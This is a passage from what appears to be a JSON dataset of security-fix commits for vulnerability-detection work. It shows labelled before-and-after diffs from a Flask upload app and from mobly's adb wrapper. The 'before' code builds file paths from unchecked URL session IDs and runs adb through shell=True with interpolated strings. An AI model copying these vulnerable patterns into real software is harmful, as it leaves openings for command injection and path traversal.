\n @app.route('/api/uploads//logs')\n def get_logs(sid):\n- if '/' not in sid:\n- path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n- if os.path.isfile(os.path.join(path, app.config['LOG_FILE'])):\n+ if utils.sid_is_valid(sid):\n+ path = join(app.config['UPLOAD_FOLDER'], sid)\n+\n+ if os.path.isfile(join(path, app.config['LOG_FILE'])):\n return send_from_directory(directory=path,\n filename=app.config['LOG_FILE'])\n else:\n abort(404)\n else:\n- abort(403)\n+ abort(404)\n \n @app.route('/api/uploads//download')\n def download(sid):\n- if not utils.sid_is_valid(sid):\n- abort(400)\n-\n- path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n+ if utils.sid_is_valid(sid):\n+ path = join(app.config['UPLOAD_FOLDER'], sid)\n \n- if os.path.isfile(os.path.join(path, app.config['RESULTS_ZIP'])):\n- return send_from_directory(directory=path,\n- filename=app.config['RESULTS_ZIP'])\n+ if os.path.isfile(join(path, app.config['RESULTS_ZIP'])):\n+ return send_from_directory(directory=path,\n+ filename=app.config['RESULTS_ZIP'])\n+ else:\n+ abort(404)\n else:\n- abort(404)\n+ abort(404);\n \n @app.route('/api/uploads/', methods=['DELETE'])\n def delete_upload(sid):\n- if not utils.sid_is_valid(sid):\n- abort(400)\n+ if utils.sid_is_valid(sid):\n+ # Remove the entire upload\n+ path = join(app.config['UPLOAD_FOLDER'], sid)\n \n- # Remove the entire upload\n- path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n+ # If it exists, of course\n+ if os.path.isdir(path):\n+ if not app.config['TESTING']:\n+ rmtree(path)\n+ else:\n+ abort(404)\n \n- # If it exists, of course\n- if os.path.isdir(path):\n- if not app.config['TESTING']:\n- rmtree(path)\n- else:\n- abort(404)\n+ # Remove from firebase\n+ if app.config['FIREBASE']:\n+ fbdb.child('sessions').child(sid).remove()\n \n- # Remove from firebase\n- if app.config['FIREBASE']:\n- fbdb.child('sessions').child(sid).remove()\n+ # Remove from temporary file list\n+ utils.VALID_TEMPS.remove(sid)\n \n- flash('Success! Deleted run data for \"%s\"' % sid)\n- return '', 200\n+ flash('Success! Deleted run data for \"%s\"' % sid)\n+ return '', 200\n+ else:\n+ abort(404)\n", "add": 31, "remove": 27, "filename": "/app/views.py", "badparts": [" if '/' not in sid:", " path = os.path.join(app.config['UPLOAD_FOLDER'], sid)", " if os.path.isfile(os.path.join(path, app.config['LOG_FILE'])):", " abort(403)", " if not utils.sid_is_valid(sid):", " abort(400)", " path = os.path.join(app.config['UPLOAD_FOLDER'], sid)", " if os.path.isfile(os.path.join(path, app.config['RESULTS_ZIP'])):", " return send_from_directory(directory=path,", " filename=app.config['RESULTS_ZIP'])", " abort(404)", " if not utils.sid_is_valid(sid):", " abort(400)", " path = os.path.join(app.config['UPLOAD_FOLDER'], sid)", " if os.path.isdir(path):", " if not app.config['TESTING']:", " rmtree(path)", " else:", " abort(404)", " if app.config['FIREBASE']:", " fbdb.child('sessions').child(sid).remove()", " flash('Success! Deleted run data for \"%s\"' % sid)", " return '', 200"], "goodparts": [" if utils.sid_is_valid(sid):", " path = join(app.config['UPLOAD_FOLDER'], sid)", " if os.path.isfile(join(path, app.config['LOG_FILE'])):", " abort(404)", " if utils.sid_is_valid(sid):", " path = join(app.config['UPLOAD_FOLDER'], sid)", " if os.path.isfile(join(path, app.config['RESULTS_ZIP'])):", " return send_from_directory(directory=path,", " filename=app.config['RESULTS_ZIP'])", " else:", " abort(404)", " abort(404);", " if utils.sid_is_valid(sid):", " path = join(app.config['UPLOAD_FOLDER'], sid)", " if os.path.isdir(path):", " if not app.config['TESTING']:", " rmtree(path)", " else:", " abort(404)", " if app.config['FIREBASE']:", " fbdb.child('sessions').child(sid).remove()", " utils.VALID_TEMPS.remove(sid)", " flash('Success! Deleted run data for \"%s\"' % sid)", " return '', 200", " else:", " abort(404)"]}], "source": "\nfrom flask import render_template, redirect, url_for, request, flash, abort,\\ Markup, send_from_directory from app import app, fbdb from.forms import ProcessingForm, FILE_MAP from. import utils from shutil import copyfile, rmtree import os import tempfile import requests import subprocess as sub @app.route('/') @app.route('/about') def index(): return render_template('index.html', title=\"GenSET\") @app.route('/experiment', methods=['GET']) def experiment(): form=ProcessingForm(request.form) return render_template('experiment/index.html', title=\"Try it Out!\", sitekey=app.config['G_CAPTCHA_SITEKEY'], form=form, files=utils.SAMPLE_FILES) @app.route('/upload', methods=['POST']) def upload(): data={ 'secret': app.config['G_CAPTCHA_SECRET'], 'response': request.form['g-recaptcha-response'], 'remoteip': request.remote_addr } resp=requests.post(app.config['G_CAPTCHA_VERIFY'], data=data).json() if resp['success']: form=ProcessingForm() if not form.validate_on_submit(): for field, errors in form.errors.items(): for e in errors: flash('Error in %s: %s' %(getattr(form, field).label.text, e)) else: path=tempfile.mkdtemp(dir=app.config['UPLOAD_FOLDER'], prefix='') session_id=os.path.basename(path) request.files['testcsv'].save(os.path.join(path, app.config['TESTING_FN'])) if request.files['trainingcsv'].filename !='': request.files['trainingcsv'].save(os.path.join(path, app.config['TRAINING_FN'])) else: try: fn=FILE_MAP[request.form['trainingset']] copyfile(os.path.join(app.config['TRAINING_FOLDER'], fn), os.path.join(path, app.config['TRAINING_FN'])) except KeyError: flash('Error: \\'%s\\' is not supported' % request.form['trainingset']) link='page' % url_for('view', sid=session_id) success_txt='Success! To view progress later, bookmark the %s' % link flash(Markup(success_txt)) f=open(os.path.join(path, 'logs.txt'), 'w') env=os.environ.copy() env['API_KEY']=app.config['API_KEY'] sub.Popen(['python', 'scripts/master.py', session_id, request.form['trainingset']], stdout=f, stderr=f, env=env) return redirect(url_for('view', sid=session_id)) else: flash('Error: %s' % ', '.join(resp['error-codes'])) return redirect(url_for('experiment', title=\"Try it Out!\", sitekey=app.config['G_CAPTCHA_SITEKEY'], form=form, files=utils.SAMPLE_FILES)) @app.route('/view/') def view(sid): if '/' not in sid: path=os.path.join(app.config['UPLOAD_FOLDER'], sid) if os.path.isdir(path): using_firebase='true' if app.config['FIREBASE'] else 'false' return render_template('view.html', sid=sid, title=\"Progress for %s\" % sid, using_firebase=using_firebase) else: abort(404) else: abort(403) @app.route('/api/script_update', methods=['POST']) def script_update(): if not app.config['FIREBASE']: abort(400) if request.json is None: abort(400) if request.json['auth_token'] !=app.config['API_KEY']: abort(403) try: sid=request.json['session_id'] progress=int(request.json['progress']) text=request.json['text'] except ValueError: abort(400) data={ \"progress\": progress, \"text\": text} fbdb.child('sessions').child(sid).set(data) return '', 200 @app.route('/api/uploads//logs') def get_logs(sid): if '/' not in sid: path=os.path.join(app.config['UPLOAD_FOLDER'], sid) if os.path.isfile(os.path.join(path, app.config['LOG_FILE'])): return send_from_directory(directory=path, filename=app.config['LOG_FILE']) else: abort(404) else: abort(403) @app.route('/api/uploads//download') def download(sid): if not utils.sid_is_valid(sid): abort(400) path=os.path.join(app.config['UPLOAD_FOLDER'], sid) if os.path.isfile(os.path.join(path, app.config['RESULTS_ZIP'])): return send_from_directory(directory=path, filename=app.config['RESULTS_ZIP']) else: abort(404) @app.route('/api/uploads/', methods=['DELETE']) def delete_upload(sid): if not utils.sid_is_valid(sid): abort(400) path=os.path.join(app.config['UPLOAD_FOLDER'], sid) if os.path.isdir(path): if not app.config['TESTING']: rmtree(path) else: abort(404) if app.config['FIREBASE']: fbdb.child('sessions').child(sid).remove() flash('Success! Deleted run data for \"%s\"' % sid) return '', 200 ", "sourceWithComments": "from flask import render_template, redirect, url_for, request, flash, abort,\\\n Markup, send_from_directory\nfrom app import app, fbdb\nfrom .forms import ProcessingForm, FILE_MAP\nfrom . import utils\nfrom shutil import copyfile, rmtree\nimport os\nimport tempfile\nimport requests\nimport subprocess as sub\n\n@app.route('/')\n@app.route('/about')\ndef index():\n return render_template('index.html',\n title=\"GenSET\")\n\n@app.route('/experiment', methods=['GET'])\ndef experiment():\n form = ProcessingForm(request.form)\n return render_template('experiment/index.html',\n title=\"Try it Out!\",\n sitekey=app.config['G_CAPTCHA_SITEKEY'],\n form=form,\n files=utils.SAMPLE_FILES)\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n # Check Google reCAPTCHA v2\n data = {\n 'secret': app.config['G_CAPTCHA_SECRET'],\n 'response': request.form['g-recaptcha-response'],\n 'remoteip': request.remote_addr\n }\n resp = requests.post(app.config['G_CAPTCHA_VERIFY'],\n data=data).json()\n\n # Check to see if user is a bot\n if resp['success']:\n # Check to see if it is a valid submission\n form = ProcessingForm()\n if not form.validate_on_submit():\n # Invalid submissions get flashed\n for field, errors in form.errors.items():\n for e in errors:\n flash('Error in %s: %s' % (getattr(form, field).label.text, e))\n else:\n path = tempfile.mkdtemp(dir=app.config['UPLOAD_FOLDER'], prefix='')\n session_id = os.path.basename(path)\n\n # Save the files\n request.files['testcsv'].save(os.path.join(path, app.config['TESTING_FN']))\n\n if request.files['trainingcsv'].filename != '':\n request.files['trainingcsv'].save(os.path.join(path, app.config['TRAINING_FN']))\n else:\n try:\n fn = FILE_MAP[request.form['trainingset']]\n copyfile(os.path.join(app.config['TRAINING_FOLDER'], fn),\n os.path.join(path, app.config['TRAINING_FN']))\n except KeyError:\n flash('Error: \\'%s\\' is not supported' % request.form['trainingset'])\n\n # Be flashy\n link = 'page' % url_for('view', sid=session_id)\n success_txt = 'Success! To view progress later, bookmark the %s' % link\n flash(Markup(success_txt))\n\n # If the path exists, render the view\n f = open(os.path.join(path, 'logs.txt'), 'w')\n env = os.environ.copy()\n env['API_KEY'] = app.config['API_KEY']\n sub.Popen(['python', 'scripts/master.py', session_id, request.form['trainingset']],\n stdout=f, stderr=f, env=env)\n return redirect(url_for('view', sid=session_id))\n else:\n # Show all authentication errors\n flash('Error: %s' % ', '.join(resp['error-codes']))\n\n return redirect(url_for('experiment',\n title=\"Try it Out!\",\n sitekey=app.config['G_CAPTCHA_SITEKEY'],\n form=form,\n files=utils.SAMPLE_FILES))\n\n@app.route('/view/')\ndef view(sid):\n if '/' not in sid:\n path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n if os.path.isdir(path):\n using_firebase = 'true' if app.config['FIREBASE'] else 'false'\n return render_template('view.html',\n sid=sid, title=\"Progress for %s\" % sid, using_firebase=using_firebase)\n else:\n abort(404)\n else:\n abort(403)\n\n@app.route('/api/script_update', methods=['POST'])\ndef script_update():\n if not app.config['FIREBASE']:\n abort(400)\n if request.json is None:\n abort(400)\n if request.json['auth_token'] != app.config['API_KEY']:\n abort(403)\n\n try:\n sid = request.json['session_id']\n progress = int(request.json['progress'])\n text = request.json['text']\n except ValueError:\n # If progress isn't an int, or if any of the fields are missing, abort.\n abort(400)\n\n # Actually upload the data\n data = { \"progress\": progress, \"text\": text }\n fbdb.child('sessions').child(sid).set(data)\n return '', 200\n\n@app.route('/api/uploads//logs')\ndef get_logs(sid):\n if '/' not in sid:\n path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n if os.path.isfile(os.path.join(path, app.config['LOG_FILE'])):\n return send_from_directory(directory=path,\n filename=app.config['LOG_FILE'])\n else:\n abort(404)\n else:\n abort(403)\n\n@app.route('/api/uploads//download')\ndef download(sid):\n if not utils.sid_is_valid(sid):\n abort(400)\n\n path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n\n if os.path.isfile(os.path.join(path, app.config['RESULTS_ZIP'])):\n return send_from_directory(directory=path,\n filename=app.config['RESULTS_ZIP'])\n else:\n abort(404)\n\n@app.route('/api/uploads/', methods=['DELETE'])\ndef delete_upload(sid):\n if not utils.sid_is_valid(sid):\n abort(400)\n\n # Remove the entire upload\n path = os.path.join(app.config['UPLOAD_FOLDER'], sid)\n\n # If it exists, of course\n if os.path.isdir(path):\n if not app.config['TESTING']:\n rmtree(path)\n else:\n abort(404)\n\n # Remove from firebase\n if app.config['FIREBASE']:\n fbdb.child('sessions').child(sid).remove()\n\n flash('Success! Deleted run data for \"%s\"' % sid)\n return '', 200\n"}}, "msg": "Fix sterilization issue (#12)\n\nPathnames from URL weren't sterilized before, leading to possible\nissues such as command injection. With this, since the session ID is\npredetermined, it is now much harder to do command injection. It\nain't perfect.\n\nWe use a list of registered session ID to confirm whether the sent\nsession ID is valid or not. The sesion IDs are added and removed\nwhenever a new session is started; all session IDs are generated\nby python `tempfile.mkdtemp`; all session IDs are deleted by checking\nthat said session ID exists on the list. Thus, this makes it extremely\ndifficult to perform command line injection, unless one somehow modifies\nthe underlying code of a python core library maliciously, or the\nRAM of a hosting computer. And if that happens, this is the least of\nyour worries."}}, "https://github.com/google/mobly": {"3862e8ba359040fbdd6e1a6d36e51d07cda8e1ee": {"url": "https://api.github.com/repos/google/mobly/commits/3862e8ba359040fbdd6e1a6d36e51d07cda8e1ee", "html_url": "https://github.com/google/mobly/commit/3862e8ba359040fbdd6e1a6d36e51d07cda8e1ee", "message": "Avoid using the shell for adb commands wherever possible. (#162)\n\nPer the 'subprocess' documentation, running commands through the shell is\r\nbrittle (because the command has to handle shell interpolation/quoting\r\nrules which might also vary between shells) and dangerous (because it makes\r\nshell injection vulnerabilities possible).\r\n\r\nRunning commands through the shell is still possible by exposing the\r\n'shell' argument of subprocess to callers.\r\n\r\nIssue #163.\r\nIssue #151.", "sha": "3862e8ba359040fbdd6e1a6d36e51d07cda8e1ee", "keyword": "command injection issue", "diff": "diff --git a/mobly/controllers/android_device.py b/mobly/controllers/android_device.py\nindex eb0517db..aec704d7 100644\n--- a/mobly/controllers/android_device.py\n+++ b/mobly/controllers/android_device.py\n@@ -805,9 +805,11 @@ def take_bug_report(self, test_name, begin_time):\n if not out.startswith('OK'):\n raise DeviceError(self, 'Failed to take bugreport: %s' % out)\n br_out_path = out.split(':')[1].strip()\n- self.adb.pull('%s %s' % (br_out_path, full_out_path))\n+ self.adb.pull([br_out_path, full_out_path])\n else:\n- self.adb.bugreport(' > %s' % full_out_path)\n+ # shell=True as this command redirects the stdout to a local file\n+ # using shell redirection.\n+ self.adb.bugreport(' > %s' % full_out_path, shell=True)\n self.log.info('Bugreport for %s taken at %s.', test_name,\n full_out_path)\n \ndiff --git a/mobly/controllers/android_device_lib/adb.py b/mobly/controllers/android_device_lib/adb.py\nindex 3a0940d5..c98ece28 100644\n--- a/mobly/controllers/android_device_lib/adb.py\n+++ b/mobly/controllers/android_device_lib/adb.py\n@@ -15,12 +15,10 @@\n # limitations under the License.\n \n from builtins import str\n+from past.builtins import basestring\n \n import logging\n-import random\n-import socket\n import subprocess\n-import time\n \n \n class AdbError(Exception):\n@@ -59,7 +57,7 @@ def list_occupied_adb_ports():\n return used_ports\n \n \n-class AdbProxy():\n+class AdbProxy(object):\n \"\"\"Proxy class for ADB.\n \n For syntactic reasons, the '-' in adb commands need to be replaced with\n@@ -67,23 +65,32 @@ class AdbProxy():\n >> adb = AdbProxy()\n >> adb.start_server()\n >> adb.devices() # will return the console output of \"adb devices\".\n+\n+ By default, command args are expected to be an iterable which is passed\n+ directly to subprocess.Popen():\n+ >> adb.shell(['echo', 'a', 'b'])\n+\n+ This way of launching commands is recommended by the subprocess\n+ documentation to avoid shell injection vulnerabilities and avoid having to\n+ deal with multiple layers of shell quoting and different shell environments\n+ between different OSes.\n+\n+ If you really want to run the command through the system shell, this is\n+ possible by supplying shell=True, but try to avoid this if possible:\n+ >> adb.shell('cat /foo > /tmp/file', shell=True)\n \"\"\"\n \n def __init__(self, serial=''):\n self.serial = serial\n- if serial:\n- self.adb_str = 'adb -s %s' % serial\n- else:\n- self.adb_str = 'adb'\n \n- def _exec_cmd(self, cmd):\n- \"\"\"Executes adb commands in a new shell.\n-\n- This is specific to executing adb binary because stderr is not a good\n- indicator of cmd execution status.\n+ def _exec_cmd(self, args, shell):\n+ \"\"\"Executes adb commands.\n \n Args:\n- cmds: A string that is the adb command to execute.\n+ args: string or list of strings, program arguments.\n+ See subprocess.Popen() documentation.\n+ shell: bool, True to run this command through the system shell,\n+ False to invoke it directly. See subprocess.Popen() docs.\n \n Returns:\n The output of the adb command run if exit code is 0.\n@@ -92,18 +99,33 @@ def _exec_cmd(self, cmd):\n AdbError is raised if the adb command exit code is not 0.\n \"\"\"\n proc = subprocess.Popen(\n- cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n+ args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=shell)\n (out, err) = proc.communicate()\n ret = proc.returncode\n- logging.debug('cmd: %s, stdout: %s, stderr: %s, ret: %s', cmd, out,\n+ logging.debug('cmd: %s, stdout: %s, stderr: %s, ret: %s', args, out,\n err, ret)\n if ret == 0:\n return out\n else:\n- raise AdbError(cmd=cmd, stdout=out, stderr=err, ret_code=ret)\n-\n- def _exec_adb_cmd(self, name, arg_str):\n- return self._exec_cmd(' '.join((self.adb_str, name, arg_str)))\n+ raise AdbError(cmd=args, stdout=out, stderr=err, ret_code=ret)\n+\n+ def _exec_adb_cmd(self, name, args, shell):\n+ if shell:\n+ if self.serial:\n+ adb_cmd = 'adb -s \"%s\" %s %s' % (self.serial, name, args)\n+ else:\n+ adb_cmd = 'adb %s %s' % (name, args)\n+ else:\n+ adb_cmd = ['adb']\n+ if self.serial:\n+ adb_cmd.extend(['-s', self.serial])\n+ adb_cmd.append(name)\n+ if args:\n+ if isinstance(args, basestring):\n+ adb_cmd.append(args)\n+ else:\n+ adb_cmd.extend(args)\n+ return self._exec_cmd(adb_cmd, shell=shell)\n \n def tcp_forward(self, host_port, device_port):\n \"\"\"Starts tcp forwarding.\n@@ -112,7 +134,7 @@ def tcp_forward(self, host_port, device_port):\n host_port: Port number to use on the computer.\n device_port: Port number to use on the android device.\n \"\"\"\n- self.forward('tcp:%d tcp:%d' % (host_port, device_port))\n+ self.forward(['tcp:%d' % host_port, 'tcp:%d' % device_port])\n \n def getprop(self, prop_name):\n \"\"\"Get a property of the device.\n@@ -129,9 +151,20 @@ def getprop(self, prop_name):\n return self.shell('getprop %s' % prop_name).decode('utf-8').strip()\n \n def __getattr__(self, name):\n- def adb_call(*args):\n+ def adb_call(args=None, shell=False):\n+ \"\"\"Wrapper for an ADB command.\n+\n+ Args:\n+ args: string or list of strings, arguments to the adb command.\n+ See subprocess.Proc() documentation.\n+ shell: bool, True to run this command through the system shell,\n+ False to invoke it directly. See subprocess.Proc() docs.\n+\n+ Returns:\n+ The output of the adb command run if exit code is 0.\n+ \"\"\"\n+ args = args or ''\n clean_name = name.replace('_', '-')\n- arg_str = ' '.join(str(elem) for elem in args)\n- return self._exec_adb_cmd(clean_name, arg_str)\n+ return self._exec_adb_cmd(clean_name, args, shell=shell)\n \n return adb_call\ndiff --git a/mobly/controllers/android_device_lib/jsonrpc_client_base.py b/mobly/controllers/android_device_lib/jsonrpc_client_base.py\nindex 08237fb2..555adc34 100644\n--- a/mobly/controllers/android_device_lib/jsonrpc_client_base.py\n+++ b/mobly/controllers/android_device_lib/jsonrpc_client_base.py\n@@ -238,14 +238,14 @@ def _adb_grep_wrapper(self, adb_shell_cmd):\n This surpresses AdbError if the grep fails to find anything.\n \n Args:\n- adb_shell_cmd: A string that is an adb shell cmd with grep.\n+ adb_shell_cmd: string, a grep command to execute on the device.\n \n Returns:\n The stdout of the grep result if the grep found something, False\n otherwise.\n \"\"\"\n try:\n- return self._adb.shell(adb_shell_cmd).decode('utf-8')\n+ return self._adb.shell(adb_shell_cmd).decode('utf-8').rstrip()\n except adb.AdbError as e:\n if (e.ret_code == 1) and (not e.stdout) and (not e.stderr):\n return False\ndiff --git a/tests/lib/mock_android_device.py b/tests/lib/mock_android_device.py\nindex 03b62a14..ef2b8935 100755\n--- a/tests/lib/mock_android_device.py\n+++ b/tests/lib/mock_android_device.py\n@@ -22,6 +22,10 @@\n import os\n \n \n+class Error(Exception):\n+ pass\n+\n+\n def get_mock_ads(num):\n \"\"\"Generates a list of mock AndroidDevice objects.\n \n@@ -88,12 +92,14 @@ def getprop(self, params):\n elif params == \"sys.boot_completed\":\n return \"1\"\n \n- def bugreport(self, params):\n- expected = os.path.join(logging.log_path,\n- \"AndroidDevice%s\" % self.serial, \"BugReports\",\n- \"test_something,sometime,%s\" % (self.serial))\n- assert expected in params, \"Expected '%s', got '%s'.\" % (expected,\n- params)\n+ def bugreport(self, args, shell=False):\n+ expected = os.path.join(\n+ logging.log_path,\n+ 'AndroidDevice%s' % self.serial,\n+ 'BugReports',\n+ 'test_something,sometime,%s' % self.serial)\n+ if expected not in args:\n+ raise Error('\"Expected \"%s\", got \"%s\"' % (expected, args))\n \n def __getattr__(self, name):\n \"\"\"All calls to the none-existent functions in adb proxy would\n", "files": {"/mobly/controllers/android_device.py": {"changes": [{"diff": "\n if not out.startswith('OK'):\n raise DeviceError(self, 'Failed to take bugreport: %s' % out)\n br_out_path = out.split(':')[1].strip()\n- self.adb.pull('%s %s' % (br_out_path, full_out_path))\n+ self.adb.pull([br_out_path, full_out_path])\n else:\n- self.adb.bugreport(' > %s' % full_out_path)\n+ # shell=True as this command redirects the stdout to a local file\n+ # using shell redirection.\n+ self.adb.bugreport(' > %s' % full_out_path, shell=True)\n self.log.info('Bugreport for %s taken at %s.', test_name,\n full_out_path)\n ", "add": 4, "remove": 2, "filename": "/mobly/controllers/android_device.py", "badparts": [" self.adb.pull('%s %s' % (br_out_path, full_out_path))", " self.adb.bugreport(' > %s' % full_out_path)"], "goodparts": [" self.adb.pull([br_out_path, full_out_path])", " self.adb.bugreport(' > %s' % full_out_path, shell=True)"]}]}, "/mobly/controllers/android_device_lib/adb.py": {"changes": [{"diff": "\n # limitations under the License.\n \n from builtins import str\n+from past.builtins import basestring\n \n import logging\n-import random\n-import socket\n import subprocess\n-import time\n \n \n class AdbError(Exception):\n", "add": 1, "remove": 3, "filename": "/mobly/controllers/android_device_lib/adb.py", "badparts": ["import random", "import socket", "import time"], "goodparts": ["from past.builtins import basestring"]}, {"diff": "\n return used_ports\n \n \n-class AdbProxy():\n+class AdbProxy(object):\n \"\"\"Proxy class for ADB.\n \n For syntactic reasons, the '-' in adb commands need to be replaced with\n", "add": 1, "remove": 1, "filename": "/mobly/controllers/android_device_lib/adb.py", "badparts": ["class AdbProxy():"], "goodparts": ["class AdbProxy(object):"]}, {"diff": "\n >> adb = AdbProxy()\n >> adb.start_server()\n >> adb.devices() # will return the console output of \"adb devices\".\n+\n+ By default, command args are expected to be an iterable which is passed\n+ directly to subprocess.Popen():\n+ >> adb.shell(['echo', 'a', 'b'])\n+\n+ This way of launching commands is recommended by the subprocess\n+ documentation to avoid shell injection vulnerabilities and avoid having to\n+ deal with multiple layers of shell quoting and different shell environments\n+ between different OSes.\n+\n+ If you really want to run the command through the system shell, this is\n+ possible by supplying shell=True, but try to avoid this if possible:\n+ >> adb.shell('cat /foo > /tmp/file', shell=True)\n \"\"\"\n \n def __init__(self, serial=''):\n self.serial = serial\n- if serial:\n- self.adb_str = 'adb -s %s' % serial\n- else:\n- self.adb_str = 'adb'\n \n- def _exec_cmd(self, cmd):\n- \"\"\"Executes adb commands in a new shell.\n-\n- This is specific to executing adb binary because stderr is not a good\n- indicator of cmd execution status.\n+ def _exec_cmd(self, args, shell):\n+ \"\"\"Executes adb commands.\n \n Args:\n- cmds: A string that is the adb command to execute.\n+ args: string or list of strings, program arguments.\n+ See subprocess.Popen() documentation.\n+ shell: bool, True to run this command through the system shell,\n+ False to invoke it directly. See subprocess.Popen() docs.\n \n Returns:\n The output of the adb command run if exit code is 0.\n", "add": 19, "remove": 10, "filename": "/mobly/controllers/android_device_lib/adb.py", "badparts": [" if serial:", " self.adb_str = 'adb -s %s' % serial", " else:", " self.adb_str = 'adb'", " def _exec_cmd(self, cmd):", " \"\"\"Executes adb commands in a new shell.", " This is specific to executing adb binary because stderr is not a good", " indicator of cmd execution status.", " cmds: A string that is the adb command to execute."], "goodparts": [" By default, command args are expected to be an iterable which is passed", " directly to subprocess.Popen():", " >> adb.shell(['echo', 'a', 'b'])", " This way of launching commands is recommended by the subprocess", " documentation to avoid shell injection vulnerabilities and avoid having to", " deal with multiple layers of shell quoting and different shell environments", " between different OSes.", " If you really want to run the command through the system shell, this is", " possible by supplying shell=True, but try to avoid this if possible:", " >> adb.shell('cat /foo > /tmp/file', shell=True)", " def _exec_cmd(self, args, shell):", " \"\"\"Executes adb commands.", " args: string or list of strings, program arguments.", " See subprocess.Popen() documentation.", " shell: bool, True to run this command through the system shell,", " False to invoke it directly. See subprocess.Popen() docs."]}, {"diff": "\n AdbError is raised if the adb command exit code is not 0.\n \"\"\"\n proc = subprocess.Popen(\n- cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n+ args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=shell)\n (out, err) = proc.communicate()\n ret = proc.returncode\n- logging.debug('cmd: %s, stdout: %s, stderr: %s, ret: %s', cmd, out,\n+ logging.debug('cmd: %s, stdout: %s, stderr: %s, ret: %s', args, out,\n err, ret)\n if ret == 0:\n return out\n else:\n- raise AdbError(cmd=cmd, stdout=out, stderr=err, ret_code=ret)\n-\n- def _exec_adb_cmd(self, name, arg_str):\n- return self._exec_cmd(' '.join((self.adb_str, name, arg_str)))\n+ raise AdbError(cmd=args, stdout=out, stderr=err, ret_code=ret)\n+\n+ def _exec_adb_cmd(self, name, args, shell):\n+ if shell:\n+ if self.serial:\n+ adb_cmd = 'adb -s \"%s\" %s %s' % (self.serial, name, args)\n+ else:\n+ adb_cmd = 'adb %s %s' % (name, args)\n+ else:\n+ adb_cmd = ['adb']\n+ if self.serial:\n+ adb_cmd.extend(['-s', self.serial])\n+ adb_cmd.append(name)\n+ if args:\n+ if isinstance(args, basestring):\n+ adb_cmd.append(args)\n+ else:\n+ adb_cmd.extend(args)\n+ return self._exec_cmd(adb_cmd, shell=shell)\n \n def tcp_forward(self, host_port, device_port):\n \"\"\"Starts tcp forwarding.\n", "add": 21, "remove": 6, "filename": "/mobly/controllers/android_device_lib/adb.py", "badparts": [" cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)", " logging.debug('cmd: %s, stdout: %s, stderr: %s, ret: %s', cmd, out,", " raise AdbError(cmd=cmd, stdout=out, stderr=err, ret_code=ret)", " def _exec_adb_cmd(self, name, arg_str):", " return self._exec_cmd(' '.join((self.adb_str, name, arg_str)))"], "goodparts": [" args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=shell)", " logging.debug('cmd: %s, stdout: %s, stderr: %s, ret: %s', args, out,", " raise AdbError(cmd=args, stdout=out, stderr=err, ret_code=ret)", " def _exec_adb_cmd(self, name, args, shell):", " if shell:", " if self.serial:", " adb_cmd = 'adb -s \"%s\" %s %s' % (self.serial, name, args)", " else:", " adb_cmd = 'adb %s %s' % (name, args)", " else:", " adb_cmd = ['adb']", " if self.serial:", " adb_cmd.extend(['-s', self.serial])", " adb_cmd.append(name)", " if args:", " if isinstance(args, basestring):", " adb_cmd.append(args)", " else:", " adb_cmd.extend(args)", " return self._exec_cmd(adb_cmd, shell=shell)"]}, {"diff": "\n host_port: Port number to use on the computer.\n device_port: Port number to use on the android device.\n \"\"\"\n- self.forward('tcp:%d tcp:%d' % (host_port, device_port))\n+ self.forward(['tcp:%d' % host_port, 'tcp:%d' % device_port])\n \n def getprop(self, prop_name):\n \"\"\"Get a property of the device.\n", "add": 1, "remove": 1, "filename": "/mobly/controllers/android_device_lib/adb.py", "badparts": [" self.forward('tcp:%d tcp:%d' % (host_port, device_port))"], "goodparts": [" self.forward(['tcp:%d' % host_port, 'tcp:%d' % device_port])"]}, {"diff": "\n return self.shell('getprop %s' % prop_name).decode('utf-8').strip()\n \n def __getattr__(self, name):\n- def adb_call(*args):\n+ def adb_call(args=None, shell=False):\n+ \"\"\"Wrapper for an ADB command.\n+\n+ Args:\n+ args: string or list of strings, arguments to the adb command.\n+ See subprocess.Proc() documentation.\n+ shell: bool, True to run this command through the system shell,\n+ False to invoke it directly. See subprocess.Proc() docs.\n+\n+ Returns:\n+ The output of the adb command run if exit code is 0.\n+ \"\"\"\n+ args = args or ''\n clean_name = name.replace('_', '-')\n- arg_str = ' '.join(str(elem) for elem in args)\n- return self._exec_adb_cmd(clean_name, arg_str)\n+ return self._exec_adb_cmd(clean_name, args, shell=shell)\n \n return adb_cal", "add": 14, "remove": 3, "filename": "/mobly/controllers/android_device_lib/adb.py", "badparts": [" def adb_call(*args):", " arg_str = ' '.join(str(elem) for elem in args)", " return self._exec_adb_cmd(clean_name, arg_str)"], "goodparts": [" def adb_call(args=None, shell=False):", " \"\"\"Wrapper for an ADB command.", " Args:", " args: string or list of strings, arguments to the adb command.", " See subprocess.Proc() documentation.", " shell: bool, True to run this command through the system shell,", " False to invoke it directly. See subprocess.Proc() docs.", " Returns:", " The output of the adb command run if exit code is 0.", " \"\"\"", " args = args or ''", " return self._exec_adb_cmd(clean_name, args, shell=shell)"]}], "source": "\n from builtins import str import logging import random import socket import subprocess import time class AdbError(Exception): \"\"\"Raised when there is an error in adb operations.\"\"\" def __init__(self, cmd, stdout, stderr, ret_code): self.cmd=cmd self.stdout=stdout self.stderr=stderr self.ret_code=ret_code def __str__(self): return('Error executing adb cmd \"%s\". ret: %d, stdout: %s, stderr: %s' ) %(self.cmd, self.ret_code, self.stdout, self.stderr) def list_occupied_adb_ports(): \"\"\"Lists all the host ports occupied by adb forward. This is useful because adb will silently override the binding if an attempt to bind to a port already used by adb was made, instead of throwing binding error. So one should always check what ports adb is using before trying to bind to a port with adb. Returns: A list of integers representing occupied host ports. \"\"\" out=AdbProxy().forward('--list') clean_lines=str(out, 'utf-8').strip().split('\\n') used_ports=[] for line in clean_lines: tokens=line.split(' tcp:') if len(tokens) !=3: continue used_ports.append(int(tokens[1])) return used_ports class AdbProxy(): \"\"\"Proxy class for ADB. For syntactic reasons, the '-' in adb commands need to be replaced with '_'. Can directly execute adb commands on an object: >> 